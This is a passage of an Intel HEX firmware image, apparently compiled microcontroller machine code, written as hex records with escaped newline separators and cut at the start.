5A6D0DD20AD2022A43DF\n:1018D0000A525205E400520F4118144301334C7070\n:1018E0000370851C012225E0009A013BDBB2964380\n:1018F00003704660BB42F4DD04335B001B5A0B529D\n:10190000EFE72F00131D5B00195A2E894905490D79\n:10191000531E1C1D6400245A6405640D8C4204D9B6\n:10192000FC88023F7C81013BF3D205335B001E52F1\n:101930000132023503789A42E3DBB1E7002DD3D0C0\n:10194000019B5A050B5A520DDB0ADB021343D6E703\n:10195000FF0300004001002070B500210400FFF7E4\n:101960007BFF00210D4B18680578A94200DB70BD94\n:101970000B1D5B00C3185A78161CD208944201D084\n:101980000131F2E70822524232435A700123A0216A\n:10199000A340034AC9058B50E9E7C0463C0100203B\n:1019A0000C050000054B10B5186826F0C0FA044B72\n:1019B000002800D1034B180010BDC046682A002043\n:1019C000B4AD0200ACAD020010B5034B186826F0B0\n:1019D000B6FA024810BDC046682A002024DD020085\n:1019E00010B5034B186826F018FB21F047F810BD1E\n:1019F000682A002010B5034B186826F015FB21F06B\n:101A00003DF810BD682A002010B5034B186826F079\n:101A100012FB21F033F810BD682A002010B5034BEB\n:101A2000186826F0BDFA21F029F810BD682A0020B8\n:101A300030B593B012F0C6FD184C200026F0BDFE64\n:101A4000174D286815F058FD200026F0BBFE12F057\n:101A5000A9FD22F00EFA20F017FA0400296803A865\n:101A600026F05BFA0F4B20000A93039B0B93049B19\n:101A70000C93059B0D93069B0E93079B0F93089B5E\n:101A80001093099B0193119320F02BFC200020223E\n:101A90000AA902F037FD044813B030BD702A0020B7\n:101AA000682A002055BA11C024DD0200F8B5114D96\n:101AB0000400286826F03BFA002802D12000FFF736\n:101AC000B7FF0D4B1B78002B0DD10C4E3478E4B2D0\n:101AD000002C08D101272868377003685B68984795\n:101AE000054B34701F70286815F0E2FD20F0C6FF2A\n:101AF000F8BDC046682A0020CF2D0020D02D002040\n:101B0000F0B58DB020F0C0F90E4B02689A4217D1A3\n:101B100004694168089444698268C36809948469C7\n:101B2000C0690A9484466C4605910692079308A8FA\n:101B3000E0C8E0C4604620600348006826F0D7F99A\n:101B40000DB0F0BD55BA11C0682A002010B50400D0\n:101B5000082020F028FA024B4460036010BDC04604\n:101B6000FC9B0200014BD8607047C046842E0020C9\n:101B7000034B82B0D86801ABC01A02B07047C046B0\n:101B8000842E0020014B18617047C046842E00202F\n:101B900010B54E21024820F045FA05F081FCC04600\n:101BA00068A5020007B5054A01ABD1681269CB1AD6\n:101BB0009A4201D8FFF7ECFF07BDC046842E0020F3\n:101BC000F0B5802787B02B4D02907F422C78002CF7\n:101BD0001CD063B2002B12DA6E787C40E4B2002E87\n:101BE00014D0013CE4B2FF2C02D101350135EDE700\n:101BF00004ABD81D0121067013F018FFF1E704AB08\n:101C0000D81D0121047013F011FFEFE7052702989A\n:101C100025F01FFD0124A74227DD0025164E2200D6\n:101C2000290030000CF0B0FA6B4601901B79002BB4\n:101C300015D0631E1A002900300003930CF0A4FA9B\n:101C4000031E0CD12200290030000CF069FAFF229B\n:101C5000019B290013403000621E0CF061FA01352F\n:101C6000052DDBD10134E4B2D5E7013F002FCED101\n:101C700007B0F0BD100703002400002010B5C820F5\n:101C8000FFF79EFF004810BD24DD0200F7B5037882\n:101C90000400002B01D10020FEBD402B20D10123E8\n:101CA0000193002304221E001D001900944622788F\n:101CB000002A3ED101200029EEDC002DECDC002EB4\n:101CC000EADC033B8342E7D9013C23785C2BE3D079\n:101CD000019A002ADFD00A3B581E8341D8B2DBE7C5\n:101CE0003F4920F0E2F80028D9D13E49200020F0F9\n:101CF000DCF80028D3D13C49200020F0D6F8002899\n:101D0000CDD13A49200020F0D0F80028C7D1384979\n:101D1000200020F0CAF80028C1D13649200020F068\n:101D2000C4F80028BBD13449200020F0BEF801904F\n:101D3000B7E76078272A0AD1002B46D0032B02D1BF\n:101D400027284AD143E0012B47D8012244E0222A28\n:101D500011D11A006746BA4309D1222805D1A278C9\n:101D6000222A02D10234624636E0002B01D0022B37\n:101D700033D1022230E05C2A0AD1272803D022285E\n:101D800001D05C2804D11A00501E8241A41824E01E\n:101D9000002B22D15B2A12D006D8282A0DD0293A4E\n:101DA00050425041091A18E07B2A0AD07D2A0AD0F5\n:101DB0005D3A504250412D1A0FE001310DE00135DE\n:101DC0000BE0013609E0013E07E02728BDD1A278EB\n:101DD000272AB8D10234243AD31A013467E7C0461F\n:101DE000228D0300BA070300C0070300C4070300E5\n:101DF0009B840300C7900300C6130300F0B58BB0AB\n:101E0000079343180390049201930093009B5C1E78\n:101E1000039BA34201D9009310E0207813F084F9CA\n:101E2000002801D00094F1E7207813F089F9002808\n:101E3000F8D123785F2BF5D02E2BF3D07E4B1D6885\n:101E4000009C019B9C4202D223782E2B21D1009B27\n:101E5000E71A019B9C4241D300242600029401947E\n:101E6000AB68A34256D8019B002B00D084E0009BB6\n:101E7000039A93422FD1714C3A002100180027F0A9\n:101E80007CFB002827D1079BE41907301C60C01B8E\n:101E900022E00134D5E70136AB68B3421BD9F30029\n:101EA0000293EB68F20098580028F4D00428F2D08E\n:101EB00009A907F06BFC099B0100BB42EBD13A007A\n:101EC000009827F0DFFB0028E5D1EB68029A9B1809\n:101ED0005868002804D100200BB0F0BD0026DBE7D5\n:101EE000032318420CD10368554A934205D120F0D0\n:101EF00057FD0500631C0093A2E7524A934201D0AC\n:101F00000AF07CFC856B002DE5D04F4B2A689A4285\n:101F1000F0D0E0E7EA68E300985800281CD00428D5\n:101F20001AD009A907F032FC099B06900593BB4221\n:101F300012D301003A00009827F0A4FB00280BD12F\n:101F4000029B002B12D03B009E4202D3059A9A427C\n:101F500004D2019B01330193013481E7029AD15CE1\n:101F6000069AD25C914205D10133EDE7069B059EAE\n:101F70000293EEE71E00ECE7019B012B01D0BE426D\n:101F800055D9029B079ADB191360F01BA4E7029B4B\n:101F9000EA68DB00985800282CD004282AD009A928\n:101FA00007F0F4FB099B03900593BB4222D3010089\n:101FB0003A00009827F066FB019000281AD1330000\n:101FC0000F220F33DC171440E41824112401A41B42\n:101FD000012C00DC1034059A33199B18402B1FD8B4\n:101FE000019B9C4214DC0399049820F030FF099B6C\n:101FF000F6183619029B01330293AB68029A93429A\n:10200000C5D81249049820F022FF0120404263E71E\n:102010000F49049820F01BFF019B01330193DFE778\n:10202000039A0C49049820F0D0FF099EE2E70023B0\n:1020300040260293E1E7C046842E0020AE0703004D\n:102040006CB20200B8B8020098CC02008E6F030098\n:10205000E15A0300B6070300F0B50E00110000229C\n:1020600085B0B71C03901C0030000D4B0092BF00E0\n:1020700000F064F938001FF096FF46600600050086\n:10208000039B083F03600836E719BC4202D12800D1\n:1020900005B0F0BD002101CCFEF7D2FC01C6F4E78B\n:1020A000FFFF0000F7B5019111490400160000255B\n:1020B00020F0CDFE7368AB4204D80E49200020F01A\n:1020C000C6FEF7BD002D03D00B49200020F0BFFE57\n:1020D000019BAF00DA590949200020F076FF330058\n:1020E00008330122D95920000AF0A0FB0135E1E7AD\n:1020F000311A0300BD420300C8070300CB070300E9\n:10210000F0B58BB00600080011001A0010AB1F7864\n:10211000314B05AD01950093052300F03FF9912067\n:1021200000011FF040FF2D4B04A91860059B47607C\n:1021300043706B682A4F0370AB6804008370EB68D0\n:10214000C3702B7C30003B6007F020FB0025254B43\n:1021500003900C201D601FF026FF234B0600036038\n:102160000AF032F9B0600AF02FF9204B204A1860CB\n:10217000204B11001D70204B70601D701F4B3000F4\n:102180001D602B0009F0F2FF2000049A039920F053\n:10219000C8FC200004F08AFB0400A84207D109F023\n:1021A000EBFE0E4B1C60164B1868FFF76BF8012214\n:1021B000144B1A700AF002F90028FBD1124B943329\n:1021C00018603B68002B04D00C4B104819681EF0B7\n:1021D00095FF07480BB0F0BD189D0200182F002096\n:1021E000FC010020A8010020649D0200A401002041\n:1021F00024DD0200D32D0020D12D0020AC010020D1\n:1022000018000020D22D0020842E0020CF070300CC\n:1022100000220D4910B50B78DBB2934210D10B4A66\n:102220001478002C02D001240C701370084B1B781A\n:10223000002B07D0074A136820331360064B1A6837\n:10224000100010BD8268FBE7D12D0020D22D0020A8\n:10225000D32D0020A8010020A401002073B501A9FE\n:1022600007F094FA019B06001648502B17D88020DF\n:1022700040001FF098FE144C0500230094331860B2\n:102280000023019A9A420CD15B232800AB540CF036\n:1022900005F80022904209D1943420600B48FEF7E3\n:1022A000F1FFF15CE9540133ECE70132AB5C9B2BAD\n:1022B000FBD12900064820F0E5FF00239434236079\n:1022C00076BDC046DE070300842E0020EC07030025\n:1022D00040BB0200D2235B005843134AF0B5136899\n:1022E000000C834206D9114C236801332360136824\n:1022F000203B13601F23050001270D4E9D431468EA\n:10230000A5420CD803401A1D202A00D92022094CCE\n:1023100024680434934204D3074B1860F0BD37702F\n:10232000EDE7E1540133F5E7A8010020AC010020FE\n:10233000D32D0020A4010020B001002010B51C0006\n:1023400002AB1B78002904D0002B02D10E48FFF706\n:102350005DF9A24207D1824214D003000B490C4818\n:1023600000F05EF906E0824206D9121A09490848CF\n:1023700000F056F905F094F8844203D203002200DD\n:102380000549ECE710BDC046020803002B08030016\n:1023900058A602006408030096080300F0B5002464\n:1023A000170087B00C9D039004910593029401944B\n:1023B000059B9C4206D1019B039A934240D225483B\n:1023C000FFF724F9039B9C4213D26B889B05F6D43C\n:1023D000019B049A01330193A300D058FF226B881C\n:1023E000A6001340012B24D10AF02AFC0D9B98551E\n:1023F00017E0062329880022C9001943380014F089\n:10240000D7F9002810D16B88DB0506D52A88124938\n:10241000124800F005F905F043F80D9A6968A30029\n:10242000D15001340835C3E7029B40680133029361\n:10243000D4E7022B01D10AF0C5FA0D9B9851F0E7C1\n:102440003B68029ADB08934201D90548B8E707B018\n:10245000F0BDC046DC080300C508030058A6020012\n:10246000FD08030010B5034A0349044820F0ADFD00\n:10247000034810BDF3090300B707030034B7020097\n:1024800024DD020010B5034A0349044820F09DFDF5\n:10249000034810BD1B090300B707030034B702004F\n:1024A00024DD0200030010B50548002B03D11FF006\n:1024B000B3FD04F0F5FF09681FF0B4FDF9E7C0466D\n:1024C0001CA6020010B5034809680AF0D3F90248B7\n:1024D00010BDC04634B7020024DD0200F7B50D0080\n:1024E000110000220600009228001F000B4BFFF78E\n:1024F00025FF10201FF064FD041E08D1084B094A77\n:10250000094C5A62002326602000A360FEBD3900FA\n:10251000280010F0EFFAE060F4E7C046FFFF00008B\n:10252000842E002064D102009C2E002010B50138BA\n:1025300010C910F0DFFAE060004810BD24DD020091\n:10254000F8B57F2453B205000E0017001440002B8D\n:102550001BDB631E012B18D80B68586825F04EF85A\n:102560000100280020F073FC022C12D11049280031\n:1025700020F06DFCF368002B02D05A68002A0ED1BF\n:102580000C49280020F063FCF8BD022CEED0002C92\n:10259000F0D03A00F168280010F050FAF4E7012A70\n:1025A000F7D10022996828000AF040F9ECE7C0460C\n:1025B0008A140300C3120300C36803485A68002A40\n:1025C00000D098687047C04624DD0200136810B53B\n:1025D0001400002B0BD0FC23FF33994206D10C4B87\n:1025E00052689A4202D10023C380236010BD094B78\n:1025F000994201D1C368F8E7074B02689A42F5D1C6\n:10260000064B9942F2D1FFF7D7FF2060EEE7C046B4\n:1026100024DD020003020000A4A50200E302000082\n:102620000EB470B5050087B010201FF0C9FC041E61\n:102630000BD11A4B1A4A1B4C9D6118625A6220003A\n:1026400007B070BC08BC03B018470021056081606A\n:10265000012010F04FFA2521E06005000B9826F0CC\n:10266000F2FF061E09D10B9827F005F83200010091\n:102670000B9806F037FCA860E1E702A8102124F0CF\n:10268000C3FE0CAA0B9902A8019212F099FF02A9AD\n:102690000548E56806F0F0FBEDE7C046842E002013\n:1026A00064D102009C2E002040BB020010B5030044\n:1026B000820708D1064A0168914204D1054AD968C7\n:1026C0000120914203D00449180006F099FA10BD88\n:1026D000B8B80200DD240000E4A1020010B5040037\n:1026E0000AF08CF8034BC2689A4200D02469002398\n:1026F000A36010BDDD240000F8B516001D00040025\n:102700000F000AF07BF8154BC2689A4200D024698A\n:10271000A068002811D10C301FF052FCA0600028E6\n:102720000AD003236360E288A1689300CB180332C8\n:10273000E2801F605E609D60F8BDE388A18802337F\n:102740008B42F0DB0331890001221FF057FC002887\n:10275000F2D0A388A0600333A380E4E7DD24000067\n:1027600070B5150004000E000AF048F8064BC26868\n:102770009A4200D02469A368002B02D133602B60F9\n:1027800070BDE2883260FAE7DD2400000A4A0309DE\n:1027900013400A4A000110401843094A83081340B5\n:1027A000084A800010400343074A58081040074A6F\n:1027B0005B001340184370470F0F0F0FF0F0F0F05D\n:1027C00033333333CCCCCCCC55555555AAAAAAAA11\n:1027D000044B054A05491A60002205481A719960A0\n:1027E0009A817047B401002000200A07746962755D\n:1027F00024DD020002220B4B10B5DA670022012112\n:10280000094B5A61094A11615A69002AFCD0084CE7\n:1028100088342068002803D01FF0F4FB00232360D5\n:1028200010BDC04604E100E0FC1000400010004074\n:10283000842E002070B5FFF7DDFF0323314D6E7845\n:10284000AC782B70744320001FF0ADFB00222E4BA0\n:102850000419883318602D4B86191C602C4B0121FC\n:102860001E602C4B5A608022D20511605A68002AE3\n:10287000FCD00422284CAA56284BE250EA78043BAC\n:10288000E2506A7B0833E250AB6818BAFFF77EFF6C\n:10289000234BE050287BFFF779FF0022214BE050CB\n:1028A000214B0820E2506978C0250B02194382238E\n:1028B0005B040B43A321C90063501C4B1C49E2502D\n:1028C0001C4B6D00E1501C49043BE15001211B4BA6\n:1028D000E2500433E1501A4BE650C1239B00E05014\n:1028E000184B06385851186080239B00E250164B55\n:1028F0005A6061605A68002AFCD000221A610123E4\n:10290000A36070BDB4010020842E0020C801002007\n:10291000C4010020FC000040001000400C05000035\n:102920001C0500002405000014050000340500000B\n:10293000FFFF00003C050000211001002C050000F5\n:102940000405000000E100E0FC10004010B5FFF7B6\n:1029500071FF014810BDC04624DD020010B5FFF72D\n:1029600049FF1D23054C6370054BA3604923237366\n:10297000FFF760FF04230348237010BDB40100205B\n:1029800026877D2F24DD0200F8B5FFF733FF0223F1\n:102990002224304D2B70AB785C4320001FF003FBEA\n:1029A00000222D4B0419883318602C4B22301C60F8\n:1029B0002B4B012118602B4B06005A608022D20558\n:1029C00011605A68002AFCD004220127AA56264C1E\n:1029D000264BE250EA78043BE2500833E750AB68FC\n:1029E0006F7318BAFFF7D2FE214BE050287BFFF738\n:1029F000CDFE204B204AE050204B2149E250214A95\n:102A00000433E2500022204B2048E2500433E750C8\n:102A1000022363501E4960501E48043960501E490D\n:102A200008206650C121890060501C497930FF3070\n:102A30000B500B60FF33FF33E250194B5A60676055\n:102A40005A68002AFCD000221A6101231548A360AD\n:102A5000F8BDC046B4010020842E0020C80100202B\n:102A6000C4010020FC000040001000400C050000E4\n:102A70001C050000240500000600030014050000EA\n:102A800034050000260004012C050000FFFF0000B3\n:102A90003C050000211001000405000000E100E0F9\n:102AA000FC10004024DD020070B52825FFF7A2FECF\n:102AB0002A4C2B4B2380A3785D4328001FF073FA28\n:102AC000284A451915600022274B012188331860D8\n:102AD000264B28301860264B5A608022D2051160A0\n:102AE0005A68002AFCD00421224B6156224A995090\n:102AF000E178043A9950617B0832995000215524BD\n:102B00001E4A99501E4A9C501E4A1F4C995004322E\n:102B10009C501E4A1E4C99501E4A9C501E4C043A12\n:102B20009C501E4AC0249850C12208209200985000\n:102B30001B4A0638640010511060802292009950A0\n:102B4000184A51600131596051680029FCD00021B8\n:102B50001161012214489A6070BDC046B401002082\n:102B600001260000C8010020842E0020C40100209E\n:102B7000FC000040001000400C0500001C05000097\n:102B80002405000014050000282801013405000078\n:102B9000FFFF00003C0500002110010004050000BB\n:102BA00000E100E0FC10004024DD020010B5FFF75A\n:102BB00021FE014810BDC04624DD0200F8B5002604\n:102BC000FFF718FE324C6778A578013701357D4351\n:102BD00028002670E6731FF0E6F9802201212D4BB4\n:102BE0004519883318602C4BC7191D602B4BD20533\n:102BF0001F602B4B5E6011605A68002AFCD00421D4\n:102C0000284B6156284A00209950E178043A99509F\n:102C1000617B08329950A168244A08259950217B8C\n:102C2000234A244E99500121234A98500432995046\n:102C3000224A9D508122647892042243A324E40016\n:102C40001A5102221E4C1A511E4C1E511E4E043C9B\n:102C50001E5118261D4C1E511D4C1F51C124A4008D\n:102C60001D511C4C7935FF35625122608024A4002F\n:102C70001D590E322A431A51174A50605960516843\n:102C80000029FCD00021116101229A60F8BDC046E4\n:102C9000B4010020842E0020C8010020C4010020BF\n:102CA000FC000040001000400C0500001C05000066\n:102CB00024050000FFFF00002C05000014050000A3\n:102CC000340500003C0500002110010054050000FF\n:102CD0000405000000E100E0FC10004010B5FFF723\n:102CE0006DFF014810BDC04624DD0200064B10B543\n:102CF00088331B68002B05D1044905481FF099F95A\n:102D000004F0CEFB10BDC046842E0020700B0300E3\n:102D1000D0A60200F7B5FFF7E9FF0221A320214B5F\n:102D2000C000D967204B214A1C58214801930078E4\n:102D3000002803D11F4F11603800FEBD1E4B1F4EEF\n:102D400088331B68E4B21C193368A342F2D023789D\n:102D50003F201D008543C02DECD10340191C202BC2\n:102D600000D92021C9B20531601C06F0D3F8144BFC\n:102D700035685B780700E1186A1A2000009326F096\n:102D800013FC009B019AED1A0E4B3560D5500022C2\n:102D90000D4B1A610123019A9360044ADB181360FA\n:102DA000CAE7C04604E100E00010004000E100E096\n:102DB000D800002024DD0200842E0020C401002061\n:102DC000B401002004050000FC100040F7B5040029\n:102DD000FFF78CFF0222534B534DDA67534A2B689F\n:102DE0001078052800D99BE017F042FD039A4F6A3E\n:102DF0006A80A3224E49D2008E584E4AF6B28832DB\n:102E00001268013696199E4205D102234A4A4B4C5C\n:102E100013602000FEBD3778002C1DD1701C3900D6\n:102E200006F078F8791CFF432B6871185A1A0400D1\n:102E30003000019326F0B8FB019BDF192F60296851\n:102E40003B4B3F4A995000213E4A116101229A6052\n:102E50000223394A1360DCE7022F0DD97378012B66\n:102E60000AD1B278002A07D1F378012B04D1F91ED8\n:102E7000301D06F037F8D5E702232F4A3249136098\n:102E800032481FF0D6F804F00BFB2A4A883210684B\n:102E9000070022379F42B8D0C31CDE7F24303100A8\n:102EA00006F038F82B68B11C79185A1A040038005B\n:102EB000019326F079FB019B9E1B023E2E60BEE72C\n:102EC00057781C4A88321668F6199E429DD0390000\n:102ED000300006F01FF82B68F1195A1A0400300070\n:102EE000019326F061FB019BDF1BA7E7114A8832A3\n:102EF000126817002D379F4200D186E733321678CB\n:102F000038000836310006F005F82B68B9195A1A4E\n:102F100004003800019326F047FB019B9E1BCDE780\n:102F2000064C8CE704E100E0C4010020B40100205D\n:102F300000100040842E002000E100E024DD0200AB\n:102F400004050000FC100040E40B0300D0A60200C2\n:102F5000074B10B51B7800209A1E032A02D9002BBC\n:102F600003D10120FFF732FF10BDFFF7D3FEFBE7CF\n:102F7000B401002010B50902074B4840013AD2B213\n:102F8000FF2A07D004B2410088B2002CF6DA59407B\n:102F900088B2F3E710BDC04621100000082310B529\n:102FA0000902074A484004B2410088B2002C01DA05\n:102FB000514088B2013BDBB2002BF4D110BDC046BA\n:102FC00021100000F0B507008DB01500002805D0D5\n:102FD0008F4990481FF02DF804F062FA8E4B08AA32\n:102FE000180052C852C21100042602680A605A78BA\n:102FF0009E5706929A780592DA7802929A68009221\n:103000001A7B01925A7BDB7B039204936B68BB4271\n:103010005FD9FB000793AB68FA009B181A68002A77\n:1030200034D0042A32D0586809F0F8FCAB68FA00B2\n:103030000400985805F078FFB623FF330200984249\n:1030400033D00CD8B423FF33984221D027D8013B8A\n:10305000984215D071497248FFF7E2FABCE7B823ED\n:10306000FF3398422DD026D3013398422BD06D4B9D\n:103070009842EFD1012C00D9C7E0E3B2049305E0F8\n:10308000631EFA2B00D9C0E0E3B206930137BDE717\n:10309000631EFD2B00D9B8E0E3B20593F6E7642C7C\n:1030A00000D9B2E0E3B20293F0E7072C00D9ACE01C\n:1030B0005D4B1E57EAE7032C00D9A6E0E3B2039369\n:1030C000E4E70094E2E7FF2C00D99EE0E3B201932D\n:1030D000DCE7564B08AC88331B68002B17D1069BE6\n:1030E00026716370059BA370029BE370009B0A939B\n:1030F000019B2373039B6373049BE373464B07CCD1\n:1031000007C31A002368136049480DB0F0BD069B41\n:10311000414D6370059BA370029BE370089A454B79\n:1031200029681A400B409A4212D0FFF763FB009BBC\n:1031300026710A93019B2373039B6373049BE373C0\n:103140002B0007CC07C322681A60FFF737FDDBE7C7\n:103150000222394B394DDA670023394C6B61013358\n:1031600023616B69002BFCD0009A08AB0A92019A8C\n:103170001E711A73039A5A73049ADA73264A11005D\n:10318000944685CB85C11B682E4F0B602E4BE650B5\n:1031900063461B782D4E052B0ED0A1220299D2003A\n:1031A000A15003990832A150002B0ED0012B22D13F\n:1031B0000023A35155330BE002981EF06DFFA123AD\n:1031C000DB00E050029A224BE250009BA351019B8E\n:1031D000E35100236B60013363606B68002BFCD00C\n:1031E0000023C02102222B610133A360194B490047\n:1031F0005A501A6088E7009B18BAFFF7C7FAA05127\n:103200000198FFF7C3FAE051E3E7134923E7C0460B\n:10321000850B030058A60200B4010020A90B03008F\n:10322000D0A60200EA020000680B0300842E0020F2\n:1032300024DD020000FFFF0004E100E0FC1000407C\n:1032400000100040240500000C0500001C050000D3\n:103250005405000000E100E0BF0B0300F0B5A74BF0\n:103260008FB05A68002A04D00022A5495A60013262\n:103270008A601A69002A26D00027A24D1F612B7888\n:10328000BB4222D1A3239E4A9F48DB00D458026848\n:10329000E3B211788B4201D2190014708024984D4A\n:1032A000E4002C59012C0BD1984C02335B18246894\n:1032B000D3189C4204D30131954B52180260EA5056\n:1032C00001238F4A93600FB0F0BD012B00D094E032\n:1032D0008D4B6E781C683200210004A826F05BF943\n:1032E000EB7B002B71D101930FE004AB01211F2276\n:1032F00018000191002A64D0DC7F997F6410C90115\n:103300002143D977013B013AF4D204AB5C79A41094\n:10331000282C52DC04AAA3189E79DF7972027F0060\n:1033200017431B7A7FBABFB27F2B02D980235B0081\n:103330001F430025631D7748029304ABE95C082214\n:10334000FFF718FE029B0135AB42F6DA7F2331000E\n:1033500001229943FFF70EFE40BA80B2B8422CD149\n:1033600000236D4E05223370674B04A91D6840236E\n:103370005B4223432B70681C26F00DF92A000932AA\n:1033800004ABA91D14199A79D8795200C0110243CF\n:103390000A70013101338C42F5D15A4B5B495A789E\n:1033A00009685300EB18994205D3574BAD181D60BF\n:1033B000534A574BD55001233370019B012B94D1B5\n:1033C0007EE70178491001709CE7E823524D237095\n:1033D0002822601C04A92F7026F0DDF84B4A7300E8\n:1033E0001268E3189A4205D3474BA4191C60444A5B\n:1033F000474BD45001232B7062E7022B18D1802356\n:103400003F4ADB00D358012B00D059E73E483F4CE0\n:10341000036824681A781100243159188C4200D2AC\n:103420004EE702329B180360394A35498B5047E713\n:10343000032B0CD134496878344C0B684200246863\n:103440009A18944200D23BE71B180B60ECE7042B60\n:1034500026D12D4F6B783C68029325001B192F4E07\n:103460000193019B0136AB420BD028781EF004FE7D\n:10347000039030791EF000FE039B43402B70013512\n:10348000EFE7029B5B00E418204B1B68A34200D2CD\n:1034900016E7019B1A4A3B6001991D4BD1500FE77B\n:1034A000052B00D00CE78023154ADB00D358012BF5\n:1034B00000D005E7144F3C682300667828331A785B\n:1034C000013B9A719C42FAD123781549637100231C\n:1034D0000422601C0B6026F05EF8EB780B4A237028\n:1034E000330012683533E3189A4200D2E8E6083612\n:1034F000074B034AA4193C60D450E1E6FC1000409D\n:1035000000100040B4010020C4010020C8010020C8\n:1035100004050000FFFF0000D8000020410B03005D\n:10352000CC010020F8B5FFF765F905232D24354DB2\n:103530002B70AB785C4320001EF035FD0022324B2F\n:10354000041988331860314B2D301C60304B012139\n:103550001860304B06005A608022D20511605A680C\n:10356000002AFCD004222C4CAA562C4BE250EF78B7\n:1035700038001EF091FDA123DB00E050284BA22271\n:10358000E7500323D200A350264A6B738B33A3501A\n:103590002B73254A254B0121A3500022AB60244BFD\n:1035A0002448E2500433E150234BC025E050234827\n:1035B0000433E0500420224BFF30E050214B2248DE\n:1035C0006D00E0502148043BE0509120204BE0503A\n:1035D000204B8938E650C1239B00E0501E4B063833\n:1035E000585118601D4BFF30FF305A6122505A600D\n:1035F00061605A68002AFCD000221A610123A3608E\n:10360000F8BDC046B4010020842E0020C80100206F\n:10361000C4010020FC000040001000400C05000028\n:1036200054050000240500001C05000000D6BE89DA\n:103630002C0500000601020014050000250003020D\n:10364000340500003C050000555555005B060000A0\n:10365000440500000405000000E100E0FC1000400B\n:1036600010B5FFF75FFF014810BDC04624DD020022\n:10367000F7B50C00009206001F00FFF737FB6B49FF\n:103680000A78012A00D1C2E0694D2B0088331868FE\n:10369000002A1FD1A3236749DB00CB58E119DBB215\n:1036A000994204D91F1BA34201D21C001700E31941\n:1036B000037088352B682200581C310025F06BFF01\n:1036C000002F6AD03A00286801340099001925F0CB\n:1036D00062FF62E0022A13D12200FE2C00D9FE22F2\n:1036E000027001208B7B88355C0020432C680133FD\n:1036F00060700320034028688B7302303100E6E7D6\n:10370000032A01D14A78F9E7042A00D080E0002793\n:103710006D3202701968623A4A70196846328A70CE\n:103720001968263ACA7019684E320A7119680A3245\n:103730004A711968613A8A7119682332CA71019312\n:10374000019B1B680093A7420CD2F05D1EF094FC15\n:10375000394A009BD2195279DB195040013718724F\n:10376000FFB2EDE700263548671DBE4207D2009B39\n:103770009B19D9780136FFF711FCF6B2F5E7A31CC7\n:103780002F4A5B009B5A88355840009B80B21B191A\n:1037900002121A722A68141960720222294B2549F2\n:1037A000DA670022284B5A6101320A615A69002AFD\n:1037B000FCD01F4A88321068244A88500020586084\n:1037C0000130086058680028FCD001208860002083\n:1037D000186118690028FCD01D4800688850002234\n:1037E0005A6101320A615A69002AFCD000225A60EB\n:1037F00001324A605A68002AFCD000221A61012373\n:103800008B60C021134B023249005A501A60F7BD39\n:10381000052AC2D1327802701968621E4A700021EE\n:10382000186881701868711C033050E7B4010020DB\n:10383000842E002000100040410B0300D2B5000090\n:1038400010FF020004E100E0FC100040040500004D\n:10385000C401002000E100E007B50B4B01A91B7873\n:10386000023B032B08D805F091FF00231A000199B1\n:10387000FFF7FEFE05480EBD05F088FF019B020024\n:1038800003210348F4E7C046B401002024DD020010\n:103890003D0B03001FB5012201A909F04DFA0023D9\n:1038A00001981A000299FFF7E3FE014805B000BD38\n:1038B00024DD0200F8B5FFF719FA374E00243778F7\n:1038C000022F67D10422354B883319680A70B57B03\n:1038D00018686900417018683149023025F05BFEB4\n:1038E000032301351D402F4BB573DF678023012172\n:1038F0002D4A9B00D4502D4B5C6111615969002900\n:10390000FCD0002159600131116059680029FCD0B8\n:10391000012191600021196119690029FCD0244915\n:1039200008682449505000215961013111615969D9\n:103930000029FCD0002159600131516059680029EB\n:10394000FCD0002401211C61FA2091600138C0469E\n:10395000C046C046C046C046C046C046C046C04637\n:10396000C046C046C046F1D11B69A34204D08023A3\n:10397000DB00D458631E9C41802300219B00D15062\n:103980000533FF330831D15002220B4B7931FF311F\n:103990005A501A602000F8BDB4010020842E002087\n:1039A000640B030004E100E000100040FC10004044\n:1039B000C40100200405000000E100E010B5FFF79D\n:1039C00079FF034B002800D0024B180010BDC04601\n:1039D000ACAD0200B4AD0200F7B5FFF787F9404B7C\n:1039E00000201B78022B00D074E03E4A3E4CD36787\n:1039F000FF33FF33E05001233C4D686123616B6965\n:103A0000002BFCD0012637000422394B883319687B\n:103A10000A7033491868897B019149004170186820\n:103A20003449023025F0B7FD0322019B01331340D6\n:103A30002B4A9373A123DB00D670E65000236B6002\n:103A400027606B68002BFCD00023A7602B612B69DB\n:103A5000002BFCD0284B1A68284BE25000236B61E6\n:103A600027616B69002BFCD000236B6067606B687B\n:103A7000002BFCD00023FA202B61A7600138C04640\n:103A8000C046C046C046C046C046C046C046C04606\n:103A9000C046C046C046F1D12B69002B04D080231C\n:103AA000DB00E358002B16D10136652EACD1002384\n:103AB00080220021C0209200A1500532FF3208313F\n:103AC000A1500F4A0639400011501160012B04D15A\n:103AD000034BD878FEBD0123EAE701204042F9E715\n:103AE000B401002004E100E000100040FC100040A0\n:103AF000842E0020640B0300C40100200405000094\n:103B000000E100E010B5FFF767FF034B002800DB82\n:103B1000024B180010BDC046ACAD0200B4AD0200AF\n:103B2000F8B5214E3568696801292DD9AB684C1E5E\n:103B30001A5D0A2A28D15A1E002C01DC220008E056\n:103B4000105D0A28FAD0013CF6E7985C202802D1E3\n:103B500001329142F9D8002C0BDD501C814208D172\n:103B6000601E002805D001381F5C0A2F0CD0202FC2\n:103B7000F7D05B18023B1B78141B3A3B5A42534167\n:103B8000A408E418013C00D2F8BD084F0422390013\n:103B9000280023F01DFC0421380011F039FF33699F\n:103BA00004333361EEE7C046D0010020DE5A030043\n:103BB00010B520220021024825F009FD10BDC046A5\n:103BC000E42E0020084B10B5426818600020986071\n:103BD00018750138D86008005A601A61996123F09D\n:103BE0002BFDFFF79DFF10BDD0010020F8B5037835\n:103BF0000400002B1ED0104D286E002804D0210098\n:103C000025F02FFD002815D0200025F034FD471C9D\n:103C100038001EF0D5F9061E0CD03A00210025F020\n:103C2000BAFC2B000722996F013AD967043B002A9E\n:103C3000F9D12E66F8BDC046842E0020F0B5B84CF0\n:103C400002002068A568436885B00193002D00D06C\n:103C5000FDE0531E042B11D8636801998B4200D1FB\n:103C600095E0012A00D12AE1022A07D1236962687E\n:103C7000934200D94FE10122524288E0032A00D149\n:103C800085E0042A00D12FE1052A00D107E1062AA8\n:103C90000ED12369019A9342AD416D42002DEADDB8\n:103CA0002368290098682369C01811F0B1FE1FE04D\n:103CB0000B2A21D1019B2269991A23F049FC236820\n:103CC000019A5B68934204D213002269981A11F09A\n:103CD000D5FE2268236951689068C91AC01811F08E\n:103CE00097FE236858682369C01A401B11F0B4FE80\n:103CF00023695D192561BEE70E2A13D1E368002B05\n:103D0000B9DB013BE3606